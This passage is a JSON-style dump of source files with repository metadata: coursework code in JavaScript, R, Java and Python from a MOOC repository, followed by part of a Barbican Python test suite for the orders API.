'public')));\n\n//**************************中间件***************\n// 没有挂载路径的中间件,应用的每个请求都会执行该中间件\napp.use(function (req, res, next) {\n console.log('Time:', Date.now());\n next();\n});\n\n// 挂载至 /user/:id 的中间件,任何指向 /user/:id 的请求都会执行它\napp.use('/user/:id', function (req, res, next) {\n console.log('Request Type:', req.method);\n next();\n});\n\n// 路由和句柄函数(中间件系统),处理指向 /user/:id 的 GET 请求\napp.get('/user/:id', function (req, res, next) {\n res.send('USER');\n});\n\n// 一个中间件栈,对任何指向 /user/:id 的 HTTP 请求打印出相关信息\napp.use('/user/:id', function(req, res, next) {\n console.log('Request URL:', req.originalUrl);\n next();\n}, function (req, res, next) {\n console.log('Request Type:', req.method);\n next();\n});\n//**************************中间件***************\n\n// 对网站首页的访问返回 \"Hello World!\" 字样\napp.get('/', function (req, res) {\n res.send('Hello World!');\n});\n\n// 网站首页接受 POST 请求\napp.post('/', function (req, res) {\n res.send('Got a POST request');\n});\n\n// /user 节点接受 PUT 请求\napp.put('/user', function (req, res) {\n res.send('Got a PUT request at /user');\n});\n\n// /user 节点接受 DELETE 请求\napp.delete('/user', function (req, res) {\n res.send('Got a DELETE request at /user');\n res.se\n});\n\n\n\nvar server = app.listen(3000, function () {\n var host = server.address().address;\n var port = server.address().port;\n\n console.log('Example app listening at http://%s:%s', host, port);\n});" }, { "alpha_fraction": 0.624535322189331, "alphanum_fraction": 0.6654275059700012, "avg_line_length": 13.94444465637207, "blob_id": "a6c61b70618bc156abbbbcb6317902af6eb76580", "content_id": "0405a8d4962c605c9c8a77e34ca9e9b428995e3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 269, "license_type": "no_license", "max_line_length": 57, "num_lines": 18, "path": "/Duke_DASI/main.R", "repo_name": "YoungGer/MoocCourses", "src_encoding": "UTF-8", "text": "setwd(\"~/Documents/GitHub_Project/MoocCourses/Duke_DASI\")\nls()\n\ndim(gss)\n# 57061,114\nnames(gss)\n\nsex = gss$sex\natt = gss$coneduc\n\ntable(sex,att)\nmosaicplot(table(sex,att))\n\nd = data.frame(sex=sex,att=att)\n\nd = subset(d,(!is.na(d$sex) )& (! is.na(d$att)))\nhead(d,200)\nd\n" }, { "alpha_fraction": 0.3602484464645386, "alphanum_fraction": 0.3867871165275574, "avg_line_length": 34.14285659790039, "blob_id": "e813340caed155d1ee6492bdbade09a4a0fa1d05", "content_id": "5de0d2f5c890c6b014d929b2e38a8fa7dcb530ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 5313, "license_type": "no_license", "max_line_length": 100, "num_lines": 147, "path": "/Princeton_Algorithms/w1_percolation/Percolation.java", "repo_name": "YoungGer/MoocCourses", "src_encoding": "UTF-8", "text": "/**\r\n * Created by Guangyao on 2015/7/3.\r\n */\r\npublic class Percolation {\r\n\r\n /**\r\n * private variable and function\r\n */\r\n //private int[][] state;\r\n private int[] s;\r\n private int len;\r\n private WeightedQuickUnionUF uf;\r\n private WeightedQuickUnionUF uf1;\r\n\r\n private void vali(int p) {\r\n if (p < 1 || p > len) {\r\n throw new IndexOutOfBoundsException(\"index \" + p + \" is not between 1 and \" + len*len);\r\n }\r\n }\r\n\r\n private int id(int i,int j){\r\n return (i-1)*len+j-1;\r\n }\r\n\r\n /**\r\n * main function part\r\n */\r\n\r\n public Percolation(int N) // create N-by-N grid, with all sites blocked\r\n {\r\n if (N<=0)\r\n {\r\n throw new IllegalArgumentException(\"index \" + N + \" is not greater than 1 \");\r\n }\r\n //state = new int[N][N];\r\n s = new int[N*N];\r\n len = N;\r\n// for (int i = 0; i < N; i++) {\r\n// for (int j = 0; j < N; j++) {\r\n// state[i][j] = 1;\r\n// }\r\n// }\r\n for (int i = 0; i < len*len; i++) {\r\n s[i] = 1;\r\n }\r\n uf = new WeightedQuickUnionUF(len*len+2);\r\n uf1 = new WeightedQuickUnionUF(len*len+1);\r\n // top and bottom element connection\r\n }\r\n\r\n public void open(int i, int j) // open site (row i, column j) if it is not open already\r\n {\r\n vali(i);\r\n vali(j);\r\n int n = id(i,j);\r\n s[n] = 0;\r\n //id(i,j)=(i-1)*len+j, neighbor num is [id-1,id+1,id-len,id+len]\r\n //deal with n=1 and n=2\r\n if (len==1) {\r\n uf.union(n,len);uf1.union(n,len);\r\n uf.union(n,len+1);\r\n }\r\n else {\r\n //special cases\r\n if (i == 1) {\r\n {uf.union(n, len * len);uf1.union(n, len * len);}\r\n\r\n if (j == 1) {\r\n if (s[n + 1] == 0) {uf.union(n, n + 1);uf1.union(n, n + 1);}\r\n if (s[n + len] == 0) {uf.union(n, n + len);uf1.union(n, n + len);}\r\n } else if (j == len) {\r\n if (s[n - 1] == 0) {uf.union(n, n - 1);uf1.union(n, n - 1);}\r\n if (s[n + len] == 0) {uf.union(n, n + len);uf1.union(n, n + len);}\r\n } else {\r\n if (s[n - 1] == 0) {uf.union(n, n - 1);uf1.union(n, n - 1);}\r\n if (s[n + 1] == 0) {uf.union(n, n + 1);uf1.union(n, n + 1);}\r\n if (s[n + len] == 0) {uf.union(n, n + len);uf1.union(n, n + len);}\r\n }\r\n }\r\n if (i == len) {\r\n\r\n {uf.union(n, len * len + 1);}\r\n\r\n if (j == 1) {\r\n if (s[n + 1] == 0) {uf.union(n, n + 1);uf1.union(n, n + 1);}\r\n if (s[n - len] == 0) {uf.union(n, n - len);uf1.union(n, n - len);}\r\n } else if (j == len) {\r\n if (s[n - 1] == 0) {uf.union(n, n - 1);uf1.union(n, n - 1);}\r\n if (s[n - len] == 0) {uf.union(n, n - len);uf1.union(n, n - len);}\r\n } else {\r\n if (s[n - 1] == 0) {uf.union(n, n - 1);uf1.union(n, n - 1);}\r\n if (s[n + 1] == 0) {uf.union(n, n + 1);uf1.union(n, n + 1);}\r\n if (s[n - len] == 0) {uf.union(n, n - len);uf1.union(n, n - len);}\r\n }\r\n }\r\n if (i != 1 & i != len & j == 1) {\r\n if (s[n - len] == 0) {uf.union(n, n - len);uf1.union(n, n - len);}\r\n if (s[n + len] == 0) {uf.union(n, n + len);uf1.union(n, n + len);}\r\n if (s[n + 1] == 0) {uf.union(n, n + 1);uf1.union(n, n + 1);}\r\n }\r\n if (i != 1 & i != len & j == len) {\r\n if (s[n - len] == 0) {uf.union(n, n - len);uf1.union(n, n - len);}\r\n if (s[n + len] == 0) {uf.union(n, n + len);uf1.union(n, n + len);}\r\n if (s[n - 1] == 0) {uf.union(n, n - 1);uf1.union(n, n - 1);}\r\n }\r\n //general cases\r\n if (i != 1 & i != len & j != 1 & j != len) {\r\n if (s[n - 1] == 0) {uf.union(n, n - 1);uf1.union(n, n - 1);}\r\n if (s[n + 1] == 0) {uf.union(n, n + 1);uf1.union(n, n + 1);}\r\n if (s[n - len] == 0) {uf.union(n, n - len);uf1.union(n, n - len);}\r\n if (s[n + len] == 0) {uf.union(n, n + len);uf1.union(n, n + len);}\r\n }\r\n }\r\n }\r\n\r\n public boolean isOpen(int i, int j) // is site (row i, column j) open?\r\n {\r\n vali(i);\r\n vali(j);\r\n return s[id(i,j)]==0;\r\n }\r\n\r\n public boolean isFull(int i, int j) // is site (row i, column j) full?\r\n {\r\n vali(i);\r\n vali(j);\r\n return uf1.connected(id(i,j),len*len);\r\n }\r\n public boolean percolates() // does the system percolate?\r\n {\r\n //virtual node [len,len+1]\r\n //virtual node connection\r\n return uf.connected(len*len,len*len+1);\r\n }\r\n\r\n public static void main(String[] args) // test client (optional)\r\n {\r\n// Percolation p = new Percolation(4);\r\n// p.open(1,1);\r\n// p.open(2,2);\r\n// p.open(3,4);\r\n// p.open(3,2);\r\n// p.open(4,2);\r\n// p.open(1,2);\r\n// System.out.println(p.percolates());\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.4796905219554901, "alphanum_fraction": 0.4951644241809845, "avg_line_length": 21.521739959716797, "blob_id": "4a64cd3e9e4b8e656d63d1d0679f5b98f30caeee", "content_id": "5036c972f5839d75ffe429fb111b783ae6111a8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 517, "license_type": "no_license", "max_line_length": 66, "num_lines": 23, "path": "/Princeton_Algorithms/w2_array_and_linkedlist/Subset.java", "repo_name": "YoungGer/MoocCourses", "src_encoding": "UTF-8", "text": "/**\n * Created by Guangyao on 2015/7/7.\n */\npublic class Subset {\n public static void main(String[] args)\n {\n int k = Integer.parseInt(args[0]);\n RandomizedQueue<String> a = new RandomizedQueue<String>();\n\n while (!StdIn.isEmpty())\n {\n String i = StdIn.readString();\n //StdOut.println(i);\n a.enqueue(i);\n }\n// StdOut.print(\"input over\");\n\n for (int i = 0; i < k; i++) {\n StdOut.println(a.dequeue());\n }\n\n }\n}" }, { "alpha_fraction": 0.38916343450546265, "alphanum_fraction": 0.4466996192932129, "avg_line_length": 18.510345458984375, "blob_id": "e58635c09eafb7ed85b430757382f2779406d6f6", "content_id": "d333cfa919afe86167605d7908c52cebc42a4ab4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6076, "license_type": "no_license", "max_line_length": 61, "num_lines": 290, "path": "/NTU_机器学习基石/ML基石hw2.md", "repo_name": "YoungGer/MoocCourses", "src_encoding": "UTF-8", "text": "\n\n import random\n import copy\n import scipy as sp\n import os\n import numpy as np\n\n\n #Q16\n def sign(x):\n if (x>=0):\n return 1\n else:\n return -1\n\n\n def accuracy(set1,set2):\n if (len(set1)!=len(set2)):\n print (\"error\")\n else:\n l = len(set1)\n suml = 0\n for i in range(l):\n if set1[i]==set2[i]:\n suml += 1\n return float(suml)/l\n \n\n\n def h(s,theta,x):\n return s*sign(x-theta)\n\n\n def eout(s,theta):\n return 0.5+0.3*s*(abs(theta)-1)\n\n\n #产生大小为20的x,y数据\n def generateData():\n xset= []\n yset= []\n choices = [1,1,1,1,-1]\n for i in range(20):\n x = random.uniform(-1,1)\n y = sign(x)*random.choice(choices)\n xset.append(x)\n yset.append(y)\n return (xset,yset)\n\n\n #将输入的数组排序,输出排序后的x,y\n def paixu(xset,yset):\n n = len(yset)\n #产生xsort,并将其排序\n xsort = copy.deepcopy(xset)\n xsort.sort()\n y = [0]*n\n for i in range(n):\n y[i] = yset[xset.index(xsort[i])]\n return (xsort,y)\n \n \n\n\n def stump(xset,yset):\n #先对原数组进行排序\n xsort,ysort = paixu(xset,yset)\n #设置最优参数\n bestaccu = 0\n besti = 0\n bestiArray =[]\n for i in range(40):\n #遍历各种情况\n if i < 20:\n yp = [-1]*i + [1]*(20-i)\n else:\n ii = i-20\n yp = [1]*ii + [-1]*(20-ii)\n Accu = accuracy(yp,ysort)\n \n if Accu>bestaccu:\n bestaccu = Accu\n besti = i\n bestiArray =[]\n bestiArray.append(i) \n elif Accu==bestaccu:\n bestiArray.append(i) \n \n besti = random.choice(bestiArray)\n #print besti,bestaccu\n #已经遍历完所有可能情况了\n if (besti<20):\n #说明s是正的情况,第i个数据是负的,第i+1个数据是正的\n s = 1\n if (besti==19):\n theta =(xsort[besti]+xsort[besti-1])/2\n elif (besti==0):\n theta =xsort[besti]\n else:\n theta = (xsort[besti]+xsort[besti+1])/2\n else:\n #说明s是负的情况,第i个数据是正的的,第i+1个数据是负的的\n s = -1\n if (besti==39):\n theta =(xsort[besti-20]+xsort[besti-20-1])/2\n elif (besti==20):\n theta =xsort[besti-20]\n else:\n theta = (xsort[besti-20]+xsort[besti-20+1])/2\n oute = eout(s,theta)\n return (1-bestaccu,oute)\n\n\n def main():\n x,y = generateData()\n return stump(x,y)\n\n\n #Q17\n eein = []\n eeout = []\n for i in range(5000):\n nei,wai = main()\n eein.append(nei)\n eeout.append(wai)\n \n \n\n\n #Q17\n sp.mean(eein)\n\n\n\n\n 0.16893\n\n\n\n\n #Q18\n sp.mean(eeout)\n\n\n\n\n 0.2685752190465644\n\n\n\n\n #multi-dimensional\n #读取输入训练和测试数据\n\n\n os.chdir('E:\\\\\\xce\\xd2\\xb5\\xc4\\xbc\\xe1\\xb9\\xfb\\xd4\\xc6')\n\n\n trainfile = open(\"train.txt\")\n train = []\n for line in trainfile:\n a1 = line.strip().split()\n train.append (map(lambda x:float(x),a1))\n trainfile.close()\n trainfile.closed\n\n\n\n\n True\n\n\n\n\n testfile = open(\"test.txt\")\n test = []\n for line in testfile:\n a1 = line.strip().split()\n test.append (map(lambda x:float(x),a1))\n testfile.close()\n testfile.closed\n\n\n\n\n True\n\n\n\n\n train = np.array(train)\n test = np.array(test)\n print train.shape\n print test.shape\n\n (100L, 10L)\n (1000L, 10L)\n \n\n\n def stump2(xset,yset,N):\n #先对原数组进行排序\n xsort,ysort = paixu(xset,yset)\n #设置最优参数\n bestaccu = 0\n besti = 0\n bestiArray =[]\n \n for i in range(N*2):\n #遍历各种情况\n if i < N:\n yp = [-1]*i + [1]*(N-i)\n else:\n ii = i-N\n yp = [1]*ii + [-1]*(N-ii)\n Accu = accuracy(yp,ysort)\n \n if Accu>bestaccu:\n bestaccu = Accu\n besti = i\n bestiArray =[]\n bestiArray.append(i) \n elif Accu==bestaccu:\n bestiArray.append(i) \n \n besti = random.choice(bestiArray)\n #print besti,bestaccu\n #已经遍历完所有可能情况了\n if (besti<N):\n #说明s是正的情况,第i个数据是负的,第i+1个数据是正的\n s = 1\n if (besti==N-1):\n theta =(xsort[besti]+xsort[besti-1])/2\n elif (besti==0):\n theta =xsort[besti]\n else:\n theta = (xsort[besti]+xsort[besti+1])/2\n else:\n #说明s是负的情况,第i个数据是正的的,第i+1个数据是负的的\n s = -1\n if (besti==N*2-1):\n theta =(xsort[besti-N]+xsort[besti-N-1])/2\n elif (besti==N):\n theta =xsort[besti-N]\n else:\n theta = (xsort[besti-N]+xsort[besti-N+1])/2\n oute = eout(s,theta)\n #return (1-bestaccu,oute) #Q18\n return (s,theta)\n\n\n #Q19\n for i in range(9):\n print stump2(list(train[:,i]),list(train[:,-1]),100)\n\n (-1, 5.3004999999999995)\n (1, -2.1305000000000001)\n (1, -8.3324999999999996)\n (-1, 1.8835000000000002)\n (1, -7.843)\n (-1, 4.3879999999999999)\n (-1, 4.2435)\n (-1, -2.6795)\n (-1, 0.048000000000000001)\n \n\n\n testsets = []\n for i in list(test[:,3]):\n testsets.append(h(-1, 1.8835000000000002,i))\n\n\n len(testsets)\n \n \n\n\n\n\n 1000\n\n\n\n\n #Q20\n accuracy(testsets,list(test[:,-1]))\n\n\n\n\n 0.633\n\n\n" }, { "alpha_fraction": 0.5034364461898804, "alphanum_fraction": 0.5071592330932617, "avg_line_length": 25.6564884185791, "blob_id": "709fa0fed60eb5a911c9d8ab6f79832b9082ebd0", "content_id": "6be73c0f4cbb9bc39ad62484c575388384b5b073", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 3492, "license_type": "no_license", "max_line_length": 104, "num_lines": 131, "path": "/Princeton_Algorithms/w2_array_and_linkedlist/Deque.java", "repo_name": "YoungGer/MoocCourses", "src_encoding": "UTF-8", "text": "/**\n * Created by Guangyao on 2015/7/7.\n * using linked-list\n */\nimport java.util.Iterator;\n\npublic class Deque<Item> implements Iterable<Item> {\n //private class and instance\n private class Node\n {\n Item item;\n Node next;\n Node before;\n }\n private Node first;\n private Node last;\n private int N;\n\n //public function\n public Deque() // construct an empty deque\n {\n first = null;\n last = null;\n N = 0;\n }\n public boolean isEmpty() // is the deque empty?\n {\n return (N==0);\n }\n public int size() // return the number of items on the deque\n {\n return N;\n }\n public void addFirst(Item item) // add the item to the front\n {\n if(item==null) throw new java.lang.NullPointerException();\n\n Node old = first;\n first = new Node();\n first.item = item;\n first.next = old;\n first.before = null;\n if(isEmpty()) last=first;\n else {old.before = first;}\n N++;\n }\n public void addLast(Item item) // add the item to the end\n {\n if(item==null) throw new java.lang.NullPointerException();\n\n Node old = last;\n last = new Node();\n last.item = item;\n last.next = null;\n last.before = old;\n if(isEmpty()) first=last;\n else\n {\n old.next = last;\n }\n N++;\n }\n public Item removeFirst() // remove and return the item from the front\n {\n if(isEmpty()) throw new java.util.NoSuchElementException();\n Item r = first.item;\n first = first.next;\n N--;\n if(isEmpty()) last=null;\n else first.before = null;\n return r;\n }\n public Item removeLast() // remove and return the item from the end\n {\n if(isEmpty()) throw new java.util.NoSuchElementException();\n Item r = last.item;\n last = last.before;\n N--;\n if(isEmpty()) first=null;\n else { last.next = null;}\n return r;\n }\n\n public Iterator<Item> iterator() // return an iterator over items in order from front to end\n {\n return new DequeIterator();\n }\n private class DequeIterator implements Iterator<Item>\n {\n private Node current = first;\n public boolean hasNext()\n {\n return current != null;\n }\n public void remove(){\n throw new UnsupportedOperationException();\n }\n public Item next()\n {\n if (current==null) throw new java.util.NoSuchElementException();\n Item item = current.item;\n current = current.next;\n //if (item==null) throw new java.util.NoSuchElementException();\n return item;\n }\n }\n\n //test function\n// public void show(Iterator<Item> a)\n// {\n// while (a.hasNext())\n// {\n// Item r = a.next();\n// StdOut.println(r);\n// }\n// }\n\n public static void main(String[] args) // unit testing\n {\n// Deque<Integer> a = new Deque<Integer>();\n//// a.addFirst(3);\n//// a.addFirst(4);\n//// a.addFirst(5);\n//// a.addLast(3);\n//// a.addLast(4);\n// a.addLast(null);\n// StdOut.println(\"remove \"+a.removeFirst());\n// a.show(a.iterator());\n// StdOut.println(\"size \"+a.N);\n }\n}\n" }, { "alpha_fraction": 0.7462235689163208, "alphanum_fraction": 0.7854984998703003, "avg_line_length": 35.88888931274414, "blob_id": "68a203549c371f1a9f22d984be71eacdac90aed8", "content_id": "f5072098dce79c17cb0f69f65fa10308dda4a922", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 331, "license_type": "no_license", "max_line_length": 57, "num_lines": 9, "path": "/UW_ML/fix.py", "repo_name": "YoungGer/MoocCourses", "src_encoding": "UTF-8", "text": "import ctypes, inspect, os, graphlab\nfrom ctypes import wintypes\nkernel32 = ctypes.WinDLL('kernel32', use_last_error=True)\nkernel32.SetDllDirectoryW.argtypes = (wintypes.LPCWSTR,)\nsrc_dir = os.path.split(inspect.getfile(graphlab))[0]\nkernel32.SetDllDirectoryW(src_dir)\n\n# Should work\ngraphlab.SArray(range(1000)).apply(lambda x: x)" } ]
14
Neetuj/barbican
https://github.com/Neetuj/barbican
95d9aaf248e63d9839a30dbd295c64128f1788b1
a42e35885ee21b78ca36aaee6f2e15002f6053cc
6bf52eb12a4f1ce26e95d9229618832deef93386
refs/heads/master
2021-01-23T03:12:07.709795
2015-05-11T02:22:29
2015-05-12T19:06:28
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5808093547821045, "alphanum_fraction": 0.5911404490470886, "avg_line_length": 31.852649688720703, "blob_id": "71ba0dc0d9e4f87d3943766d72ad298d0cb775a4", "content_id": "2b5240b7cf2c4d7dbe7dc1a1e83f1cccb9076514", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 19843, "license_type": "permissive", "max_line_length": 79, "num_lines": 604, "path": "/barbican/tests/api/controllers/test_orders.py", "repo_name": "Neetuj/barbican", "src_encoding": "UTF-8", "text": "# Copyright (c) 2015 Rackspace, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport os\nimport uuid\n\nimport mock\nimport testtools\n\nfrom barbican.common import resources\nfrom barbican.model import models\nfrom barbican.model import repositories\nfrom barbican.tests import utils\n\norder_repo = repositories.get_order_repository()\nproject_repo = repositories.get_project_repository()\nca_repo = repositories.get_ca_repository()\nproject_ca_repo = repositories.get_project_ca_repository()\ncontainer_repo = repositories.get_container_repository()\n\ngeneric_key_meta = {\n 'name': 'secretname',\n 'algorithm': 'AES',\n 'bit_length': 256,\n 'mode': 'cbc',\n 'payload_content_type': 'application/octet-stream'\n}\n\n\nclass WhenCreatingOrdersUsingOrdersResource(utils.BarbicanAPIBaseTestCase):\n\n def test_can_create_a_new_order(self):\n resp, order_uuid = create_order(\n self.app,\n order_type='key',\n meta=generic_key_meta\n )\n self.assertEqual(resp.status_int, 202)\n\n # Make sure we get a valid uuid for the order\n uuid.UUID(order_uuid)\n\n order = order_repo.get(order_uuid, self.project_id)\n\n self.assertIsInstance(order, models.Order)\n\n def test_order_creation_should_allow_unknown_algorithm(self):\n meta = {\n 'bit_length': 128,\n 'algorithm': 'unknown'\n }\n resp, _ = create_order(\n self.app,\n order_type='key',\n meta=meta\n )\n\n self.assertEqual(resp.status_int, 202)\n\n def test_order_creation_should_fail_without_a_type(self):\n resp, _ = create_order(\n self.app,\n meta=generic_key_meta,\n expect_errors=True\n )\n\n self.assertEqual(resp.status_int, 400)\n\n def test_order_creation_should_fail_without_metadata(self):\n resp, _ = create_order(\n self.app,\n order_type='key',\n expect_errors=True\n )\n\n self.assertEqual(resp.status_int, 400)\n\n def test_order_create_should_fail_w_unsupported_payload_content_type(self):\n meta = {\n 'bit_length': 128,\n 'algorithm': 'aes',\n 'payload_content_type': 'something_unsupported'\n }\n resp, _ = create_order(\n self.app,\n order_type='key',\n meta=meta,\n expect_errors=True\n )\n\n self.assertEqual(resp.status_int, 400)\n\n def test_order_creation_should_fail_with_bogus_content(self):\n resp = self.app.post(\n '/orders/',\n 'random_stuff',\n headers={'Content-Type': 'application/json'},\n expect_errors=True\n )\n self.assertEqual(resp.status_int, 400)\n\n def test_order_creation_should_fail_with_empty_dict(self):\n resp = self.app.post_json(\n '/orders/',\n {},\n headers={'Content-Type': 'application/json'},\n expect_errors=True\n )\n self.assertEqual(resp.status_int, 400)\n\n def test_order_creation_should_fail_without_content_type_header(self):\n resp = self.app.post(\n '/orders/',\n 'doesn\\'t matter. headers are validated first',\n expect_errors=True,\n )\n self.assertEqual(resp.status_int, 415)\n\n\nclass WhenGettingOrdersListUsingOrdersResource(utils.BarbicanAPIBaseTestCase):\n def test_can_get_a_list_of_orders(self):\n # Make sure we have atleast one order to created\n resp, order_uuid = create_order(\n self.app,\n order_type='key',\n meta=generic_key_meta\n )\n self.assertEqual(resp.status_int, 202)\n\n # Get the list of orders\n resp = self.app.get(\n '/orders/',\n headers={'Content-Type': 'application/json'}\n )\n\n self.assertEqual(200, resp.status_int)\n self.assertIn('total', resp.json)\n self.assertGreater(len(resp.json.get('orders')), 0)\n\n def test_pagination_attributes_not_available_with_empty_order_list(self):\n params = {'name': 'no_orders_with_this_name'}\n\n resp = self.app.get(\n '/orders/',\n params\n )\n\n self.assertEqual(200, resp.status_int)\n self.assertEqual(0, len(resp.json.get('orders')))\n\n\nclass WhenGettingOrDeletingOrders(utils.BarbicanAPIBaseTestCase):\n def test_can_get_order(self):\n # Make sure we have a order to retrieve\n create_resp, order_uuid = create_order(\n self.app,\n order_type='key',\n meta=generic_key_meta\n )\n self.assertEqual(202, create_resp.status_int)\n\n # Retrieve the order\n get_resp = self.app.get('/orders/{0}/'.format(order_uuid))\n self.assertEqual(200, get_resp.status_int)\n\n def test_can_delete_order(self):\n # Make sure we have a order to retrieve\n create_resp, order_uuid = create_order(\n self.app,\n order_type='key',\n meta=generic_key_meta\n )\n self.assertEqual(202, create_resp.status_int)\n\n delete_resp = self.app.delete('/orders/{0}'.format(order_uuid))\n self.assertEqual(204, delete_resp.status_int)\n\n def test_get_call_on_non_existant_order_should_give_404(self):\n bogus_uuid = uuid.uuid4()\n resp = self.app.get(\n '/orders/{0}'.format(bogus_uuid),\n expect_errors=True\n )\n self.assertEqual(404, resp.status_int)\n\n def test_delete_call_on_non_existant_order_should_give_404(self):\n bogus_uuid = uuid.uuid4()\n resp = self.app.delete(\n '/orders/{0}'.format(bogus_uuid),\n expect_errors=True\n )\n self.assertEqual(404, resp.status_int)\n\n\[email protected]_test_case\nclass WhenPuttingAnOrderWithMetadata(utils.BarbicanAPIBaseTestCase):\n def setUp(self):\n # Temporarily mock the queue until we can figure out a better way\n # TODO(jvrbanac): Remove dependence on mocks\n self.update_order_mock = mock.MagicMock()\n repositories.OrderRepo.update_order = self.update_order_mock\n\n super(WhenPuttingAnOrderWithMetadata, self).setUp()\n\n def _create_generic_order_for_put(self):\n \"\"\"Create a real order to modify and perform PUT actions on\n\n This makes sure that a project exists for our order and that there\n is an order within the database. This is a little hacky due to issues\n testing certificate order types.\n \"\"\"\n # Create generic order\n resp, order_uuid = create_order(\n self.app,\n order_type='key',\n meta=generic_key_meta\n )\n self.assertEqual(202, resp.status_int)\n\n # Modify the order in the DB to allow actions to be performed\n order_model = order_repo.get(order_uuid, self.project_id)\n order_model.type = 'certificate'\n order_model.status = models.States.PENDING\n order_model.meta = {'nope': 'nothing'}\n order_model.save()\n\n repositories.commit()\n\n return order_uuid\n\n def test_putting_on_a_order(self):\n order_uuid = self._create_generic_order_for_put()\n\n body = {\n 'type': 'certificate',\n 'meta': {'nope': 'thing'}\n }\n resp = self.app.put_json(\n '/orders/{0}'.format(order_uuid),\n body,\n headers={'Content-Type': 'application/json'}\n )\n\n self.assertEqual(204, resp.status_int)\n self.assertEqual(1, self.update_order_mock.call_count)\n\n @utils.parameterized_dataset({\n 'bogus_content': ['bogus'],\n 'bad_order_type': ['{\"type\": \"secret\", \"meta\": {}}'],\n })\n def test_return_400_on_put_with(self, body):\n order_uuid = self._create_generic_order_for_put()\n resp = self.app.put(\n '/orders/{0}'.format(order_uuid),\n body,\n headers={'Content-Type': 'application/json'},\n expect_errors=True\n )\n self.assertEqual(400, resp.status_int)\n\n def test_return_400_on_put_when_order_is_active(self):\n order_uuid = self._create_generic_order_for_put()\n\n # Put the order in a active state to prevent modification\n order_model = order_repo.get(order_uuid, self.project_id)\n order_model.status = models.States.ACTIVE\n order_model.save()\n repositories.commit()\n\n resp = self.app.put_json(\n '/orders/{0}'.format(order_uuid),\n {'type': 'certificate', 'meta': {}},\n headers={'Content-Type': 'application/json'},\n expect_errors=True\n )\n self.assertEqual(400, resp.status_int)\n\n\nclass WhenCreatingOrders(utils.BarbicanAPIBaseTestCase):\n def test_should_add_new_order(self):\n order_meta = {\n 'name': 'secretname',\n 'expiration': '2114-02-28T17:14:44.180394',\n 'algorithm': 'AES',\n 'bit_length': 256,\n 'mode': 'cbc',\n 'payload_content_type': 'application/octet-stream'\n }\n create_resp, order_uuid = create_order(\n self.app,\n order_type='key',\n meta=order_meta\n )\n self.assertEqual(202, create_resp.status_int)\n\n order = order_repo.get(order_uuid, self.project_id)\n self.assertIsInstance(order, models.Order)\n self.assertEqual('key', order.type)\n self.assertEqual(order.meta, order_meta)\n\n def test_should_return_400_when_creating_with_empty_json(self):\n resp = self.app.post_json('/orders/', {}, expect_errors=True)\n self.assertEqual(400, resp.status_int,)\n\n def test_should_return_415_when_creating_with_blank_body(self):\n resp = self.app.post('/orders/', '', expect_errors=True)\n self.assertEqual(415, resp.status_int)\n\n\nclass WhenCreatingCertificateOrders(utils.BarbicanAPIBaseTestCase):\n def setUp(self):\n super(WhenCreatingCertificateOrders, self).setUp()\n self.certificate_meta = {\n 'request': 'XXXXXX'\n }\n # Make sure we have a project\n self.project = resources.get_or_create_project(self.project_id)\n\n # Create CA's in the db\n self.available_ca_ids = []\n for i in range(2):\n ca_information = {\n 'plugin_name': 'plugin_name',\n 'plugin_ca_id': 'plugin_name ca_id1',\n 'name': 'plugin name',\n 'description': 'Master CA for default plugin',\n 'ca_signing_certificate': 'XXXXX',\n 'intermediates': 'YYYYY'\n }\n\n ca_model = models.CertificateAuthority(ca_information)\n ca = ca_repo.create_from(ca_model)\n self.available_ca_ids.append(ca.id)\n repositories.commit()\n\n def test_can_create_new_cert_order(self):\n create_resp, order_uuid = create_order(\n self.app,\n order_type='certificate',\n meta=self.certificate_meta\n )\n\n self.assertEqual(202, create_resp.status_int)\n\n order = order_repo.get(order_uuid, self.project_id)\n self.assertIsInstance(order, models.Order)\n\n def test_can_add_new_cert_order_with_ca_id(self):\n self.certificate_meta['ca_id'] = self.available_ca_ids[0]\n\n create_resp, order_uuid = create_order(\n self.app,\n order_type='certificate',\n meta=self.certificate_meta\n )\n\n self.assertEqual(202, create_resp.status_int)\n\n order = order_repo.get(order_uuid, self.project_id)\n self.assertIsInstance(order, models.Order)\n\n def test_can_add_new_cert_order_with_ca_id_project_ca_defined(self):\n # Create a Project CA and add it\n project_ca_model = models.ProjectCertificateAuthority(\n self.project.id,\n self.available_ca_ids[0]\n )\n project_ca_repo.create_from(project_ca_model)\n\n repositories.commit()\n\n # Attempt to create an order\n self.certificate_meta['ca_id'] = self.available_ca_ids[0]\n\n create_resp, order_uuid = create_order(\n self.app,\n order_type='certificate',\n meta=self.certificate_meta\n )\n\n self.assertEqual(202, create_resp.status_int)\n\n order = order_repo.get(order_uuid, self.project_id)\n self.assertIsInstance(order, models.Order)\n\n def test_create_w_invalid_ca_id_should_fail(self):\n self.certificate_meta['ca_id'] = 'bogus_ca_id'\n\n create_resp, order_uuid = create_order(\n self.app,\n order_type='certificate',\n meta=self.certificate_meta,\n expect_errors=True\n )\n self.assertEqual(400, create_resp.status_int)\n\n def test_create_should_fail_when_ca_not_in_defined_project_ca_ids(self):\n # Create a Project CA and add it\n project_ca_model = models.ProjectCertificateAuthority(\n self.project.id,\n self.available_ca_ids[0]\n )\n project_ca_repo.create_from(project_ca_model)\n\n repositories.commit()\n\n # Make sure we set the ca_id to an id not defined in the project\n self.certificate_meta['ca_id'] = self.available_ca_ids[1]\n\n create_resp, order_uuid = create_order(\n self.app,\n order_type='certificate',\n meta=self.certificate_meta,\n expect_errors=True\n )\n 